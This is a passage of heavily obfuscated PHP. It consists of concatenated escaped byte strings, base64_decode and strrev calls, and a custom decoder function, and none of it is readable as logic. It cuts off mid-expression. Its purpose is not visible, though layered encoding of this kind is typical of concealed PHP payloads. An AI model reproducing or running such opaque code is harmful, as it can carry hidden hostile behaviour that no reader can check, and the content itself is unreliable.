5\240\264\114\206\100\341\46\332\320\316\302\37\361\366\140\52".base64_decode('DwtknozPsBAq707JQiJZupMjeHi6QIawF8IL9HcHQ33YviDs7fH3eVyEf2NKwPhQQpE6pVrI+TA=').base64_decode('qNbS/ehDtMsi6KtgXsVMxTBxLxTSpDJk9CVkQCajLJ212DCSFMk8CgRDkRjoAMKeBa5bKywUoqo=').base64_decode('ZlHXS2wfh/YCghAkN3IJSkkS5piSE2CbRu2G4/REBFQBftkb7O8OUIMLX9yS5gsFoCUjqZxES4g=')."\361\13\171\20\51\224\223\54\314\255\344\140\2\133\366\101\204\257\372\60\105\360\222\0\77\23\356\147\141\56\46\202\10\324\231\343\34\170\310\307\302\75\314\126\12\46\4\103\102\304\23\362\364\205\131\64"."\64\4\70\72\204\11\66\101\175\236\160\4\264\252\177\260\217\163\375\136\317\62\100\60\101\56\227\120\216\135\347\152\130\120\37\305\26\17\70\210\177\26\322\30\324\32\37\131\333\354\220\146\255\257\47\70"."\xd4\x46\x20\x66\x66\xd4\x3c\x15\x55\xe1\x57\x96\xf6\xc6\x7a\x83\x8b\x70\x1c\x79\x6f\xf0\xe7\x93\x5c\x92\x97\x86\x25\x20\xe9\x46\xb8\xa4\x6b\xd0\xe5\x8b\xcd\x8\x9\xd0\xb1\x84\xcd\xa8\xa4\xfe\xe0\x90\x87\xbb\x2\x10\x12\x30"."\x84\xc8\xd2\x12\x77\x10\xe0\x5e\x35\x1c\x2d\x47\x5d\x40\x64\x30\x56\x73\x43\x6\x5f\x97\x44\x85\x11\x2f\x14\x8\x89\x86\x3d\xc9\xed\xa1\x2b\x2a\x5d\x3a\x1c\x24\x10\xcb\x6a\x69\x26\xf\xf6\xfb\xa8\x0\x81\x7f\x97\xd3\x0\xe2"."\x9e\x24\x3\xd8\xff\x15\xd8\xc1\x1b\xb6\xa8\x88\x45\xd7\x45\x8f\x8f\x3a\x5d\xd8\x88\x4\x4a\x32\x51\x7\xaf\x59\xcc\xbf\x1c\xac\xba\xe1\xb0\xc5\x2\x26\x86\x4c\xe3\x49\xe9\xa0\xcd\x24\x84\xe7\x31\x8e\x74\x90\x1f\xb2\x8b\xe9"._kodDe('MCsOkC8p4b7HhejZnG31EHnq2Z3O6gU04s6u+pc678zAAK4o7f3mlj0yhS5yKO0d3h9O8Nnk60u6')."\xfe\xc8\x90\xdf\x8f\x11\x68\x98\xfc\x72\x54\xc0\x72\x48\xd3\x4\xdf\x1e\x8b\x83\xd4\xe0\x49\xea\xf5\x77\x47\x24\x18\xa7\x9f\x8d\xc5\xea\x50\xe7\x39\x47\x1a\xeb\x63\x31\xb7\x31\x48\xa8\x85\x19\x8c\xd6\xd5\x4e\x6f\xae\x25\xab"."\210\47\354\345\374\327\102\7\225\44\200\64\210\255\343\317\174\125\220\370\242\120\160\160\100\210\367\170\226\5\372\27\321\230\273\201\206\32\250\101\275\57\20\6\135\344\245\64\310\135\150\210\161\42\162\42"."\xc1\x48\x14\x79\x2d\x4\xed\x3\xbc\x1d\x44\x4\x41\x1c\xee\x0\x30\x6f\xb6\xce\xb1\xae\xc1\x40\xaf\x4f\x34\xf2\x83\x88\x64\x49\x41\x7c\x9d\xac\x2a\x33\x68\xe5\x68\x1c\x99\xfb\xd1\x8\xec\x72\x1a\x46\xe4\x45\x23\xa8\xf\x68"."\4\167\0\215\241\356\242\21\344\252\203\106\120\103\151\4\156\111\374\375\64\15\354\52\301\216\220\156\25\323\134\1\65\43\227\230\361\312\274\144\134\260\113\265\35\135\241\43\31\77\34\67\262\110\40\55"."\56\111\260\215\203\147\140\302\51\212\173\365\160\324\210\206\107\32\26\254\246\144\210\355\257\314\210\152\62\173\72\364\21\342\325\2\174\44\200\314\137\204\317\220\365\233\37\263\130\367\70\214\127\254\146\133"."\x17\x62\xa9\xea\x20\xbf\x3a\xaf\x9c\x55\xbf\xe\x42\xc8\x88\xed\x87\x7f\xa2\x4\x37\x4a\xb6\x2d\xc4\x38\xa5\xd6\x41\x17\xd4\x18\xb7\x73\x34\xf5\xa2\xa0\xcc\xc9\x14\x2d\x91\x7e\x59\x31\xe\x53\xc4\xbe\x42\xa7\x3e\xa0\xff\xa8".base64_decode('aRFaykk9TU3iWFb9UGrTiB2S2JW/RDDXH+NnqPSQ31RylgyDglmRnOSmNDIzBjIz3GxKdALi68I=')."\xbf\x39\xa8\x1b\x1d\x56\xb2\xe4\xbc\xda\x17\x47\x3a\x73\x5c\xb\x9b\x75\x87\x21\xe8\xd2\xa1\xd3\x26\xde\x3e\xec\x71\xc5\x96\x91\x94\x14\x60\x55\x16\xb0\x38\xb0\x97\x3b\xf6\x50\x35\x6f\x16\xac\xa4\xdc\xb8\x18\x1e\x5\xf1\x8f"."\x4c\xaa\xf4\x4\x97\x55\x29\xaf\xd\x28\x7a\x4e\x45\x7\x5a\x43\x5c\xf3\x96\xa5\x2b\x7c\xd8\x90\x7a\x33\x3b\x20\x47\x27\x8b\x79\xab\x8b\x91\x62\x1e\x7c\x61\x80\x8d\x88\xb3\x99\x22\x53\x5f\x4d\x88\x8\x24\x26\xd6\x30\x75\x52"."\60\24\50\257\240\234\210\74\234\220\142\365\54\246\224\343\154\225\63\65\255\117\316\117\104\264\145\252\102\156\106\175\301\241\376\336\40\365\161\100\335\232\220\171\116\156\371\300\6\102\167\321\210\111\3\325"."\x9b\xa4\xcb\xa4\x3e\x43\x74\x75\x40\x84\xcb\xbd\x5a\x1d\x27\xd2\x5\x1a\x60\x4e\x61\x9e\x90\xb7\x7\x88\x73\xb1\xee\x0\x90\x75\xfd\xcb\x89\xc8\xb4\x24\xe8\x8b\x85\x83\x83\x21\x7a\xfa\x0\xe3\xc8\x54\x21\xe4\xf7\xae\x60\xa7".base64_decode('AQza7Vlmh8DiIp5FVcFMmINwxDdjoSCUfP293bYM4R7mK8MKi/UG+pdUTYgEY31CFgwE+98+O8w=')."\x5a\x42\xd8\xf\xbb\x82\xc7\xbb\x7a\x83\x5e\x21\x39\x10\xac\xec\x9\xc0\xac\x6d\x40\x2c\x1a\xd3\x5\xb5\x2e\xba\x16\x9d\x25\xb4\x2f\xa8\x8b\x26\xd7\xc1\xe5\xd5\x19\x3\xab\xf3\x82\xe8\xfa\xfa\xba\xa8\x7b\x81\xab\x81\xc9\x84"._kodDe('KV1tuvnf8cpVTX2NjdrQ+hf1pT2Fgo6aJNc2HF4igSIYFVTvILZv+sDyqc5lV7Ll+VOusSHBFwdv')."\x2b\xe8\x57\x4b\xb7\xd0\xe\x46\x13\x8f\xae\x6d\xc8\xe0\x6f\x40\x44\x8d\x28\xb9\x42\x55\x44\xb\xf1\x59\x4c\x17\x44\x90\x4b\xd5\x78\xf\x85\x11\x48\xb4\x95\xc2\x48\x1c\x63\xad\xaa\xb5\xd3\x99\x98\x28\x42\xf3\x4c\xde\xdf\x7c".base64_decode('FgMQ0a5voddWK5w5ZzIaWQSdOkRXsgyqLnhVSGj5JHIkQaaqnKB3MUWwFaPHwHCBMJxllVZpOrM=')."\xc6\x24\xf7\x29\x31\x19\xd9\x12\xc7\xc4\xdb\xae\x31\xa7\xa1\xa6\xf3\x4e\x39\x9b\xd6\x0\x4f\xcc\xe4\x28\x54\x1e\xb5\xa4\x73\x8f\x1c\x5\xd\x6c\x34\xa9\x93\x38\x27\xf8\x84\x90\x86\x91\x41\xe1\x94\xf7\xc3\x23\x65\xe6\xc8\x4"."\x46\xc\x16\x13\x47\x12\x52\x16\xbb\x3d\x8\xa3\xda\xb5\x4b\x6d\xc4\x3b\x4f\x37\x58\x73\x4\x1d\xe9\x60\xd1\xc\x40\x87\x2d\xdc\x30\x9\x72\x28\xe4\xa6\x86\xac\xab\x12\xf7\xeb\x45\x85\xcf\xea\x4c\x15\xee\x34\x5\xa5\x6f\x3a"."\x37\x73\xa3\xfc\x1a\x29\x37\xca\x4e\xac\xe9\x92\x4b\x57\xc2\x92\xd2\x2d\xdc\x36\xf1\x2d\x28\x71\xb9\x5\xd2\xba\x26\xe8\x5\xe\x51\xd1\xee\x9a\x80\x4a\xe4\x15\x2b\xf\xb4\x1f\x12\xfd\x90\x79\x86\xc2\x6d\xce\x9e\x3e\x8f\xd7"."\x9\x38\x4c\xb\xbd\xf5\x5f\x91\x3\x64\xd2\xa3\x32\x22\x91\xcb\x46\x5b\xc\xda\xe5\x2b\x74\x9\x6c\x9c\x25\x65\x40\xaf\x92\xd1\xaf\xf4\x6a\x32\xdd\xea\x3b\x7\x3\xb1\xd3\xd\x20\xd4\x25\xe1\xdd\x1\x5d\x5e\x31\xd4\x46\x15".base64_decode('GMhlCBzHxtz0wikjswrDZuBQte8ur/rd5dW+u9z23eWV38UgG/XJhYIXe9wS56wFlBAjlPml4D0=')."\210\170\303\102\204\125\174\37\355\2\311\76\325\200\342\157\222\341\33\74\304\50\74\45\320\276\245\270\377\352\377\106\242\334\230\25\4\145\40\304\121\111\205\52\356\133\40\311\362\53\312\42\164\114\103\146".base64_decode('8Ayi4gTEJRNKD/xMABo39jGJRaezwK0ZRpUbHQCVsEvLIuZNEhIdFeiOUDUkOZ7X9BwdR+J6iHk=')."\221\141\76\146\270\43\32\274\345\302\141\77\263\127\354\223\307\75\151\45\254\100\226\107\72\325\77\136\320\14\105\164\137\224\124\220\133\14\146\325\42\217\103\106\104\357\46\145\175\224\246\214\73\101\255\155"."\x7e\x74\xc\x45\x19\xa5\xc2\x9d\x20\x54\x33\x41\x7a\x80\xf9\xc7\xb1\xd7\xd\xf6\xa0\x33\x67\x71\x16\x46\x5d\xf7\x88\x8e\xe\x54\x8b\xbd\x28\xe7\x8e\x3a\xf7\x94\x84\x4e\xeb\x9c\x55\x1\x4e\xc1\x2a\xc\xb3\x12\xc1\x53\x1d\x68"."\x48\x9a\x8d\x86\x93\x4c\xfe\xc\xea\x19\xaa\x6c\x81\x7f\x56\x56\xab\x9e\x53\xe7\x3e\x8f\x82\xe1\x30\xf6\xdf\xb6\x44\x99\xa0\xde\x83\x6c\xd3\xc7\xe6\x70\x28\xba\x28\xda\x17\x8d\x88\xfd\x6a\xea\x72\x2a\x5\xaa\x2d\xf8\x28\xb1".base64_decode('1AV8Q6JNn9o5Etl1Hl/VHRJJRC663DqicEc5xigVOZGsQqsI/t2pVSQZKNPS2cwnVKEo+EHF8vM=')."\0\362\160\105\31\220\260\173\100\236\245\210\367\66\346\352\11\164\153\276\113\113\222\205\163\155\15\240\327\232\366\232\351\165\340\267\276\306\121\3\5\45\24\207\43\14\1\350\333\65\355\323\353\120\240\236"."\x18\x55\x4e\x12\x15\x26\xc1\x55\xb\x3f\x15\x25\xfb\x82\x5\xb2\x69\xa\xbb\xf9\x5\xa8\xef\xe0\xc4\x6f\x71\xb7\xb8\xcb\x84\x1f\x2d\x18\x83\x5f\xe4\xbe\x17\xed\x8b\xcb\x78\xc\xf0\x53\x7a\xf1\x1b\x13\xb9\x3a\x59\x2f\xc8\x18"."\x89\x29\x3d\xac\x26\x94\xdf\xf7\xf9\x66\x52\xf6\xec\xe9\x5b\xe9\xe4\xce\x93\x3a\x16\x8c\xe7\xb2\x12\x71\x76\xd4\x59\xdb\xec\x6a\xaa\x95\xa8\xa7\xce\xce\xda\xc1\x48\xb7\x73\x4e\xed\x82\xf9\x7b\x77\x78\xd1\xb1\x9e\xa9\xf4\xc1"."\163\71\350\270\12\273\255\234\117\266\370\35\160\256\262\210\333\32\233\52\57\341\175\71\171\122\313\203\65\24\354\214\163\256\4\351\314\342\377\302\343\270\113\254\274\142\226\65\235\234\156\62\1\257\115\234"."\x12\x84\xd0\xc\x32\x7d\xb1\x79\x68\x3b\x3c\x4c\xa0\x3d\x34\x58\x98\x28\xe6\x9d\x5e\x20\x65\x38\xb1\x6c\xd4\x5e\x6d\xf1\x6c\x6f\xb2\xe2\x43\x67\xa5\x56\x7c\x91\xaf\x42\x8e\x15\xb3\x71\x2c\xce\x90\x72\x3c\x88\x3d\xf\xb6\x4b".base64_decode('ojtKwceQE4ooeJ7TLS2BQS5MQarosYlOjIW2+sLRcAIZD04RMEvB0m8q1VBIc6WqnSDZewFlgeM=')."\357\24\375\51\216\73\213\50\71\257\214\233\116\110\2\116\352\47\242\62\205\317\365\252\125\115\20\152\252\206\62\130\124\223\366\117\242\223\144\147\261\110\77\130\265\120\321\267\52\105\100\215\10\44\247\152".base64_decode('OIZa5H4ZUAAT9e1bB+HEp9JbG5j1Uktr+8y54H/ChenxeLFgdrIg9eZ2nDtFGQj3rkhbDMfc4sI=').strrev('u'."\n".'/tFQY0Rp'."\n".'x(i&ŭ re'."\0".'N')."\121\120\37\215\313\167\150\271\26\30\177\2\72\307\355\24\22\45\123\323\244\234\234\237\40\73\217\31\106\373\14\3\53\43\315\160\265\245\14\20\341\363\45\6\326\30\233\252\215\350\101\174\40\133\144\216".base64_decode('HQsoTH2JI+UZN/QE6VpDNdgTdIg71FxaSsCjss4aCK2RDD1Bve/UuAk3RAh8R9Whkiy1MIuUApU=')."\162\242\20\116\256\235\337\341\126\347\123\216\11\66\60\220\264\102\32\225\136\331\276\246\304\316\252\252\36\302\171\22\66\337\210\136\71\277\254\62\13\54\334\225\250\226\344\106\207\120\156\301\247\46\331\224"."\x8b\x9a\x3f\x16\xd7\x18\xd6\xf3\x49\x76\x2\x56\xa5\x57\xb\x72\x62\x14\xa\xfb\x9c\x9\xe2\x64\x17\x49\x18\x80\xfb\x6\x9c\x60\xf1\xd9\x67\xa\x47\xdc\xa0\xe2\xe0\x53\x70\xdf\xa8\xab\x69\xaa\x8\xbe\x76\x2d\x2e\x8\xae\x96".base64_decode('69dXwsituD3JU1DtIDhedhjc+nIY4ObWz2BaEZE4hOL09i8apjolKBYdrnU1rF/vVullULSG4mI=')."\x2\x75\x31\x6c\x1c\x8f\xba\xac\xf8\xa0\x72\xa4\x37\x19\x22\x1\xd8\x31\xb1\x64\xb5\x98\x50\xf1\xde\xee\x6\xae\x25\xc9\x2e\x7d\x24\x78\x13\xd4\xd9\x39\x7f\x98\x9d\x4c\x8e\xd0\x34\x2a\x13\xa9\xcd\x73\xe8\x38\x4e\x66\x9c\x91"."\x21\x16\xf4\xf6\x73\x19\x11\xab\xbf\xd9\xa8\x18\xcf\x32\x17\xd2\x5e\xf3\x58\xfd\x18\x2d\x28\x31\x8f\x99\xa2\xbe\x1a\xe\x7b\xa\x5\x31\xca\xa6\xe6\x44\x56\x71\x67\xd5\xb8\x9b\x4d\x21\x37\x82\xb9\x12\x5c\x43\x93\xa2\xa0\x9"."\x6c\x83\xc3\xdb\x1b\x5b\x2\x54\xb7\x43\xe0\x12\xd8\xb1\x0\x69\x63\x8d\x1d\xe\xca\x62\x40\x16\xe8\x30\x12\xba\x5a\x30\x2d\x93\x1f\x3b\x8e\xaf\x41\x3e\x4e\xd7\xc8\x25\x19\xa3\xd4\x48\xd4\x4b\x75\xd\xf2\xd8\x56\x3\x26\x3b".base64_decode('TiEznlelA3JWSVeynTWoukZGUUD+DBCMq34EZKyRKMvJyazHdFMDrJ0pRhJfvoMhohnm6V9hESU=')."\246\255\302\277\323\247\61\56\11\135\100\147\201\214\206\324\137\20\133\101\347\326\51\176\164\104\374\46\17\204\202\221\240\227\372\213\255\166\306\304\114\232\14\254\373\312\305\176\252\231\270\304\277\302\212\301".strrev('Xߘ]I(uX7&sLAȨXc<ᐁ7<')."\302\362\350\324\20\174\131\322\57\145\65\352\60\244\245\251\251\311\331\324\14\376\147\67\26\344\23\355\324\40\105\100\151\152\152\107\377\23\51\2\236\140\222\16\265\246\200\271\114\371\12\101\50\203\315\67"."\x9\x11\x14\x35\x5f\xa4\x6b\x3e\xe8\x2f\xe4\xab\xa3\x9d\x4e\xfa\x79\xc2\x3e\x66\x9e\xa4\xc0\xd6\x91\x98\x62\x6f\x69\xaf\x96\xb6\xc\xa\xe5\xf8\x70\x66\xd3\x30\x58\x78\xc1\x70\xa0\x96\xd3\x9e\xa4\x97\x8b\x0\x8d\xf\x34\xa8"."\x87\x3f\x9f\x24\xe2\xf4\x3c\xac\x60\xdd\x29\x7e\xcc\x45\x7b\x50\x4\x8a\xa7\xc3\x26\x4b\xb3\x7c\x1f\x40\xc1\xf2\x97\x60\x55\x87\x0\x61\x77\xf\x5\x3\xc1\x59\x9\x8c\x8a\x57\x76\x28\x99\xa9\xfa\xa2\x58\x96\x19\x6c\xc0\x68"."\x3f\x2b\xa9\x1a\x9\x65\xb4\x72\x8c\xaf\x66\x30\xba\x98\xc5\x50\x9f\x40\x69\x9c\x12\xb\x6b\x3d\xe9\x18\xca\xf8\x28\x71\xd0\xeb\x2c\x72\x95\x84\xac\x20\x46\xd5\xac\x45\xc5\x3e\x26\x94\x2d\x7a\x34\x4\xfc\x5\x8a\x6d\x74\x58"."\361\151\64\371\0\164\16\342\342\275\207\174\140\41\317\366\370\6\272\175\157\241\47\165\215\53\272\127\74\335\100\143\341\352\327\246\302\301\17\205\115\201\311\316\205\50\304\117\1\370\142\323\313\74\172\10"."\x5\xd8\x93\x6c\x79\x3c\x49\xe1\x41\x2\x83\xbb\xf2\xf0\x32\xd7\x40\xa2\x7f\xf\xec\xbc\x44\xb8\x30\x34\x88\xe3\x39\xee\x34\x88\x96\xc1\x5a\x5f\xd4\xb3\xae\x82\xae\xa5\xc1\x48\x18\x42\xbd\x20\x7c\xa0\x3a\x98\xa1\x57\x62\x56"."\101\142\15\22\361\104\40\274\356\247\276\360\11\121\261\343\156\260\347\141\154\121\100\345\232\350\2\320\172\165\57\44\170\231\357\130\21\10\45\360\101\141\127\305\76\152\245\16\50\336\333\112\46\351\374\102"."\31\156\157\305\163\100\125\363\22\12\200\155\342\267\113\126\170\5\255\20\72\357\44\4\376\346\351\347\321\300\5\204\103\240\352\262\263\26\361\44\261\312\10\132\107\251\142\70\20\135\367\300\133\27\66\223"."\x85\x18\xba\x79\x76\x21\x8f\x77\x5c\x7c\xb5\x45\xed\xb7\xd3\x88\x47\x99\x94\xcd\x50\x67\x5d\x79\xe6\x15\x17\x36\x15\x73\x6d\x1c\xaf\xf2\x5\x92\x89\x65\x71\xd1\xcb\x6a\x57\x22\x95\xb6\x81\x18\x61\x54\x0\x14\x2e\xa9\x23\xd5".base64_decode('TCA+Ut7Wp00C3iO7Z7qapLohFchFZUPqj0izXC3zpKHg0Ky2eglIaFllSIkvUU33zNbZrtZZUt0=').strrev('[a1ʡ1KCᄭHˢ8pUJr“mulʹ29k7i "1C_H')."\x88\x17\x69\x1c\x46\x57\xea\x90\xfa\x24\x1\x1\xdf\x1e\x91\x3b\xaa\x61\x58\x14\x51\xcd\x3\x24\x8e\x9e\x70\x12\x4b\x43\x25\x10\x1d\x1c\x71\xef\x9\x71\xad\xc4\x61\x2d\x16\x22\x8c\x70\x5c\x9\x3e\xc9\x62\xb9\x16\x3b\xf6\x2c"."\312\236\55\117\274\100\136\57\320\37\214\62\152\203\112\313\131\361\341\233\41\65\311\56\225\207\243\306\110\103\324\335\247\44\125\271\113\33\307\321\141\364\203\364\32\241\222\130\75\214\66\376\57\321\206\350".base64_decode('CFUqgh/sUfjOyj1jwNft5OhsJ4fc4nLnzqRiyM8f/wItn5YesW/kcBj7vMdhLxwFsOb72NIGGDY=')."\x8f\xa0\x41\xb2\xe0\x32\xfd\x12\x5d\x4b\x16\x13\xb4\xc8\x1\x4b\xac\x90\x4c\x2d\x13\x37\x94\x3e\x32\xaf\x90\x94\x25\xbe\x50\x33\xe\xc4\x6c\xd6\x22\x3d\x9a\x1f\x41\x73\x1f\x42\x51\x3b\x30\xac\xc1\xd2\x36\xc\x6b\x9c\x31\xc3"."\37\354\146\312\204\34\143\274\245\151\304\32\133\120\67\234\117\215\54\250\257\203\31\327\21\30\56\205\166\57\175\302\310\122\25\361\253\226\356\155\324\342\153\334\52\331\355\271\11\375\240\272\165\164\324\271".base64_decode('Gurnz+ebQTckQksJrM7Qu2Fl2ZZIiCLrzBOiG0gS+kThO+dUMDrJDK/fvmtOd8BHOnx4BAc6QJ8=').base64_decode('rJo/0lA/PL8KhOUb0JVS1SaDfmPjHSVvK0WJrB6lTy4RFbko0ZGj6mxMvY02pS4ajSaRJ2qmikw=').base64_decode('IMx5ed00EG8RMTCAIkyjeB3DsjOF6jofIDMN1Q5Xw/zpNDM67qcEst/e1Jqop4F9fbzbD/4YUR4=')."\117\212\107\67\1\4\31\260\152\247\277\77\22\210\4\374\104\5\173\247\275\366\336\167\77\322\7\104\335\161\277\275\151\221\240\163\243\343\115\115\340\157\56\370\223\301\137\2\374\45\41\11\107\15\360\357"."\x1c\xf0\x7\x52\x5a\x1\xb4\x55\x89\x8e\xcf\x8c\x83\x3f\x90\x3a\x1b\xfc\xce\x86\x58\x29\xf0\x37\x93\x73\x91\xf9\xf3\x79\xc1\xa0\xb5\x1e\x67\x37\x68\x76\xb5\xc2\x41\x96\xf9\x8c\xc2\x85\xa\xc2\xdd\x7a\x7c\xd\xe5\x9b\xf4\x50".strrev('ӣVk1SqjUMQpw:\'G2],:dW:').strrev('Y=DʣI'."\n".'c^o=R-]=c ~MG7#q*=:)_"ls6').base64_decode('S2UKXtiQtDldA4Ry3NFhyG2ilBKhJ1RBxYXEwhnqln5GU0uynf1jg1E5KW24hLriV3/kImgTVa4=')."\x5a\x53\x48\xf3\x8a\x45\x84\x7\x82\x0\x11\x18\x5e\x7c\xa9\x28\x9c\xf2\xc2\x12\x85\xb2\x85\x93\x45\x14\x87\x2f\x26\x51\x81\x8\x3\xb2\x71\xea\xd6\x5d\x4c\x13\xc0\xb\x5d\x40\x88\x4a\xb9\xfc\xcb\x3\xdd\x2e\x2f\x7c\xf0\x28"."\x5c\x60\x6\xca\x46\x68\x11\x51\xf2\x64\x1\x54\x79\x17\xdc\xae\xe5\x15\xea\x1b\x25\x5\xaf\xc3\x42\x6c\x8d\x3\x4d\x72\xac\x29\x28\x69\x47\x21\x9f\x76\xa4\xd5\x94\x23\x9e\x2b\x38\x4c\x35\x95\x82\xff\x38\xc0\x18\x3a\xa\x89".strrev('IDgda'."\0".'QŹz)+yA$wBd&r[wxwJJ(ä')."\x4d\x2a\x1a\xd8\x14\x19\x5a\xb6\x88\xd4\x99\xc6\xa7\x80\x4f\x50\x31\x88\x42\x96\x5b\x7a\x21\xd0\xed\x6b\x72\x2d\xf\xb1\xd4\x71\xc7\x14\x9\xf6\x62\x56\x7c\x6b\x31\x13\x96\x62\x56\xd8\x8b\x11\x13\x7d\xd4\x31\xf7\x42\x3c\x24"."\64\216\337\160\222\263\320\321\67\371\157\74\127\160\301\77\44\106\50\20\321\201\306\174\41\164\55\40\350\30\270\50\42\272\72\231\340\302\210\246\253\100\134\226\253\127\44\150\117\64\264\224\131\146\212\121"."\42\152\230\244\10\165\43\25\141\51\44\156\124\142\132\132\241\351\21\366\312\111\134\65\7\300\6\132\346\232\202\170\64\1\334\210\25\240\11\244\220\4\201\0\173\100\35\247\206\316\13\135\370\222\225\343"."\27\140\242\203\301\165\271\154\113\43\104\150\233\4\325\47\10\50\7\316\16\132\30\74\321\214\301\3\115\241\145\13\135\201\36\137\310\205\312\103\326\162\374\333\360\346\120\27\355\350\361\107\231\200\315\20"."\xd3\x59\x2d\x2e\x67\x63\xb8\xc\x7e\x1\x25\xe7\x1\x57\x61\x46\xd4\xb\x5d\x38\xe\x4a\x73\x59\x53\xd2\x54\x9\x29\xab\xe5\xd3\xaa\x59\x4c\x5a\xdb\xb4\x68\x20\x8c\xaa\x52\x4\x19\x5c\x36\x94\x2c\x28\xef\xbf\x64\xb0\x60\xc8"."\xd9\xff\x86\x6f\xc5\x48\x2a\x25\x35\xa1\xf4\xc9\xa3\x55\x8\xa\x42\x29\xc9\xe4\x18\x6\xce\xc1\x79\xbc\x25\x7\x3c\x15\x61\x59\xf8\x63\x3c\x88\xf9\xfa\xd8\x91\x9e\x98\x25\x40\x93\xe0\x39\x36\xe8\x3a\x9a\x1b\x65\x49\x72\xb8"."\120\220\107\140\241\142\121\230\265\322\2\104\106\233\0\234\221\232\35\172\0\241\101\115\232\156\161\347\101\212\361\6\373\6\6\43\176\237\253\52\22\5\12\67\17\42\125\126\111\206\307\310\140\273\216\16"."\x12\xa7\xc8\x35\x5\xa\xd2\xac\x2\x85\xf1\xa3\x4f\x31\x53\x65\x6a\x37\xd4\xbf\x17\x95\xf8\x44\xf4\x8a\x44\x1\x10\xc8\xb7\xce\xcc\xe5\xba\xd5\x6c\x95\x85\xe8\x5b\xd0\x40\x52\xd1\xf0\x81\xe\x96\xf3\xb6\x19\xca\xfa\xb0\xa".base64_decode('SiAcRA0FqxR/MVX8YlWEoYxqKl1ytuJTKEtlKu0drkBXre94KoV0qbIxxShVoPiXCQsxCcoJh5w=')."\x34\xd\x87\x5c\x74\xc8\x39\xdd\x21\x97\x74\x47\x5c\xcb\x8f\x3a\x92\x46\xa\xfc\x19\xe\xb0\xf4\xc2\xe4\x54\x16\x20\x66\x65\x47\x16\x30\x30\x47\x4e\x4d\xaa\x8e\x1c\x8\xa8\xa6\x63\x3c\xe7\x30\x5a\x73\x64\x11\xce\x15\x40\x62"."\241\325\241\245\164\207\76\12\212\64\62\160\156\214\72\312\162\311\121\316\311\216\134\233\354\320\322\151\107\151\54\345\50\227\34\45\55\341\60\351\331\57\25\223\142\206\250\255\67\126\124\23\243\20\354\202"."\377\200\161\311\25\214\130\61\257\216\123\67\330\71\115\53\111\271\122\46\371\337\360\261\263\152\73\76\26\112\0\337\323\65\143\124\166\41\255\41\105\267\57\107\54\175\230\40\254\203\152\165\140\264\345\102"."\xc1\x1\x4\x9a\x24\xd8\x76\x22\xb3\xd1\x11\x7b\x4e\x5e\x9f\x61\xb6\xa\x52\xd5\xa4\x18\x94\xd4\xc4\x1c\xb8\x32\xf4\x13\x58\x4e\x10\x14\x2e\x60\x22\x5e\xb9\x62\xba\xe5\xf8\x9b\xb9\xe8\x80\xc7\x29\xa2\x88\x4a\x44\x2e\x50\x1c"."\165\56\203\127\106\101\207\36\243\114\265\62\332\77\157\1\15\3\171\273\324\274\16\376\333\262\116\6\274\265\244\351\161\325\240\57\26\261\246\217\210\302\346\167\317\44\62\303\377\41\27\227\117\323\12\163"."\x88\xf6\xdd\xf3\xb\x99\x26\x14\x6a\xc3\xf2\xdd\xb3\xf3\x3c\xa0\xa3\xa8\xa9\xf3\xff\xd0\x51\x30\x53\x4c\x7c\x3c\x8c\x20\x19\xae\x82\x9a\x80\x9c\xda\xd5\xe4\xe2\xf7\x25\x48\xac\xa1\x73\xaf\xd\xcc\xd2\x92\x23\xd5\x6\xa7\x5a"."\11\114\263\222\43\247\225\300\214\126\35\172\256\24\167\344\106\113\40\0\145\346\34\230\207\40\254\0\221\320\50\247\310\334\155\115\267\70\132\323\5\207\14\46\176\134\5\34\100\55\245\34\171\243\344\0"."\263\37\374\137\66\101\161\340\67\7\144\221\34\224\320\163\100\124\57\151\161\312\166\240\122\254\113\313\103\167\376\320\331\275\253\14\217\356\34\123\11\327\225\370\31\164\362\126\231\141\342\177\145\3\16\353"."\x84\x4d\x90\x43\xb5\x98\x60\x56\xf0\x9d\x59\x84\xad\x2c\x9c\x2c\x94\x84\x6b\x8b\xf6\x30\xc2\x8c\x5c\xe8\x22\xad\xc0\x52\x22\x4c\x70\x30\xf9\x93\xa3\x91\xcc\xf0\xaa\x25\x11\xcb\x6a\xda\x68\xb1\x20\xb0\x2\x9c\x8a\x77\xd9\x86"."\153\270\251\171\135\363\210\213\117\357\377\206\211\213\375\157\130\210\61\10\110\274\147\60\72\112\217\175\173\25\311\227\204\14\302\36\222\363\115\316\57\327\211\374\162\35\141\166\43\26\341\327\116\34\214\353"."\xc2\x4\xd8\x9\xf4\x2c\x94\xfc\x56\x70\xdd\x61\x1d\xec\x19\xc5\x79\x55\x65\xf7\x40\x44\x2e\xca\x8c\xe9\x8b\xe8\x96\x8a\xb0\xc9\xf7\x2d\x58\x36\x36\x6f\x61\xee\x16\x16\x9d\x63\x8b\xb7\x65\x27\x5c\x1\x46\x83\x82\xc3\x15\xfc"."\x5c\x4f\x64\x54\x7a\xeb\x84\x6e\x4d\xc2\x82\x92\x3e\xdd\x1a\x28\x49\x41\xde\xa7\x4f\xc3\xb\xef\xd0\x80\x16\x81\x1d\x1a\x74\x36\xc2\x40\xa0\x13\x85\xe7\x27\x4\x4d\x2a\x8d\x49\x28\x68\xb2\xe0\xe0\xa2\xde\x60\x97\x7\xf9\x7"."\x88\xf5\x4\xe9\x4b\xca\x9d\x9d\xf3\xd1\x91\x31\x7b\x4\x1a\xd0\x8b\x13\x7c\x28\xcd\x5e\x35\x1c\x92\x75\xa8\xc0\xe0\x88\x10\x35\x36\x89\xa4\x4a\x5a\x9e\x5d\x6b\x91\x73\xb1\x32\x46\xc5\x91\x81\x9e\x81\x98\x67\x30\xd2\x23\xf8"."\x58\x60\xa0\x1\xa2\x8d\x83\x9e\x8c\x86\x90\x60\x28\xb0\xd2\xc3\x3d\x2a\xc5\x65\x83\x9e\x17\xd\xd\xd\x39\xe1\x79\x3b\x34\x10\x49\xa0\xd7\xa6\xbb\x60\xa2\x4\x19\x61\xae\xb3\x66\x54\x4b\x26\xb2\x5a\x31\x59\xc3\xb\x74\x37".base64_decode('u5qktqZmaTBP1R3p9og+IZ7XnMLbf7ZHxK2Jlvdt6cdxEthLALISdszBkqILmvv0yWby2xdcRjQ=')."\162\275\301\1\162\176\320\267\204\351\241\370\224\2\25\232\275\25\157\1\43\325\231\361\134\166\36\123\314\21\116\105\73\174\355\5\135\53\244\324\174\122\2\70\171\243\335\327\131\343\363\54\153\257\231\17"."\x92\xe4\x6c\x16\xa6\x4a\xee\xf9\x1d\x6e\x8e\x48\x46\x6c\x20\x14\x1c\xe8\xe\x30\xef\xa\x3\x70\x8\xc8\xf1\x18\x79\x87\x9c\x3e\x29\x4f\x3e\x65\